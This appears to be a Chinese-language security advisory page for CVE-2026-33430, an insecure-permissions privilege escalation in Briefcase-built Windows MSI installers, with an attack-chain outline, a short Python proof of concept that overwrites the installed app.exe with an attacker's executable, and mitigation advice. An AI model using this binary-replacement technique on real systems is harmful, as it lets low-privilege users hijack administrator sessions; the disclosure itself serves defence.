IPBUF安全漏洞报告
English
CVE-2026-33430 CVSS 7.3 高危

CVE-2026-33430 Briefcase Windows权限提升漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33430
漏洞类型
权限提升
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Briefcase

相关标签

权限提升LPEBriefcaseWindowsInsecure PermissionsCVE-2026-33430

漏洞概述

Briefcase是一个将Python项目转换为独立原生应用程序的工具。在0.3.0至0.3.26之前的版本中,当开发者使用Briefcase生成Windows MSI安装程序并以“所有用户”范围安装时,安装目录会继承父目录的权限。这可能导致低权限用户替换或修改程序二进制文件。一旦管理员运行被篡改的二进制文件,攻击者即可获取系统高权限,造成机密性、完整性和可用性的严重破坏。

技术细节

该漏洞源于Briefcase用于生成Windows项目WXS文件的模板配置不当。当开发者使用受影响版本的Briefcase创建Windows MSI安装包,并将应用安装为“所有用户”(即每台计算机范围)时,安装程序会在磁盘上创建应用目录。然而,由于模板问题,该新创建的目录并未设置严格的访问控制列表(ACL),而是直接继承了父目录的权限。在典型的Windows环境中,如果父目录允许低权限用户写入,攻击者即可利用这一特性。攻击者可以将恶意的DLL或可执行文件替换合法的应用程序文件。当管理员或其他高权限用户随后执行该应用时,恶意代码将以管理员权限运行,从而实现本地权限提升(LPE)。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者获得目标系统的一个低权限用户账户。
STEP 2
步骤2:识别漏洞目录
攻击者扫描系统,发现由Briefcase打包并安装为“所有用户”的应用程序目录,并确认该目录继承了父目录的写入权限。
STEP 3
步骤3:替换二进制文件
攻击者将应用程序的主执行文件或关键DLL文件替换为包含恶意代码的自定义文件。
STEP 4
步骤4:等待权限用户执行
攻击者等待系统管理员或其他高权限用户运行该受损的应用程序。
STEP 5
步骤5:权限提升
应用程序启动时,恶意代码以管理员权限运行,从而完成权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept: Replacing a vulnerable binary # This script demonstrates how a low-privilege user could replace a binary # in a directory that has inherited insecure permissions. import os import shutil def exploit_poc(vulnerable_dir, malicious_exe_path): # Check if the vulnerable directory exists and is writable if os.path.exists(vulnerable_dir): # Identify the target binary to replace (e.g., app.exe) target_binary = os.path.join(vulnerable_dir, "app.exe") if os.path.exists(target_binary): # Check write permissions if os.access(vulnerable_dir, os.W_OK): print(f"[+] Directory {vulnerable_dir} is writable. Proceeding with replacement.") try: # Backup original (optional) shutil.copy(target_binary, target_binary + ".bak") # Replace with malicious binary shutil.copy(malicious_exe_path, target_binary) print(f"[+] Successfully replaced {target_binary} with {malicious_exe_path}.") print("[*] Wait for an Administrator to run the application.") except Exception as e: print(f"[-] Error during replacement: {e}") else: print("[-] No write permission for the current user.") else: print(f"[-] Target binary {target_binary} not found.") else: print(f"[-] Vulnerable directory {vulnerable_dir} not found.") # Example usage paths # target_dir = "C:\Program Files\MyBriefcaseApp" # evil_file = "C:\Users\Attacker\evil.exe" # exploit_poc(target_dir, evil_file)

影响范围

Briefcase >= 0.3.0, < 0.3.26

防御指南

临时缓解措施
如果无法立即升级Briefcase,建议手动编辑现有项目中的.wxs文件,添加LockPermissions元素或修改Directory权限,确保安装目录不允许低权限用户写入。此外,尽量避免使用“所有用户”模式安装应用,改用“仅限当前用户”安装,可降低此风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表